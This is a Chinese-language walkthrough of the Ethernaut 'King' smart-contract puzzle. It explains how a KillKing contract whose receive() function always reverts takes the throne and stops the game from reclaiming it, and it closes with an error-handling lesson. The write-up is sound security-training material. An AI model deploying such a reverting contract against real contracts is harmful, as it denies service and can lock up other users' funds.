Ethernaut – level 9 : King

(https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5)

這關有個有趣的遊戲規則,一開始的合約的Owner為King,同時擁有一定數量的價值,當有別人轉給這個合約超過或等於原本的價值,那這個別人就會變成新的King,而轉過來的價值則會轉給原本的King,同時設定新的價值為新轉過的的價值數量,說著有點囉嗦,呈上程式碼:

receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

這一關的目標是希望弄壞這個遊戲,當你變成King後,Submit level,遊戲會再轉給這個合約一筆大於目前價值的Value,再次取回King的位置,讓這個遊戲繼續下去,我們的目標就是打破這個情況。

要打破這個情況,我們先假設如果將價值轉出去的過程出錯了怎麼辦?以智能合約的出錯處理機制,除了require()來協助驗證是否有問題以外,若發現有問題,我們可以用revert()來將出錯的情況給rollback,revert()會退回到呼叫程式的起點,並且不收gas-fee。因此,回到此關,若我們取得King的位置後,當有人要再取回King時,會將一個value transfer給我們,若此時的receive payable()函數永遠都revert(),那麼,就沒有人能完成再取回King的程式了!

因此,在Remix上我們編寫如下的合約並Deploy(先查一下目前的king的balance ( awiat web3.eth.getBalance(instance); )要讓king收到>=這個數值的wei):

contract KillKing{
    
    constructor(address _instance) payable {
        _instance.call{value: 1000000000000001 wei}("");
    }

    receive() external payable{
        revert("king say no, you can't get it");
    }

}

*takeaways

  • 需要考慮當程式出現問題時的處理(error handling),不能假設對外呼叫的程式均能永遠正常運作。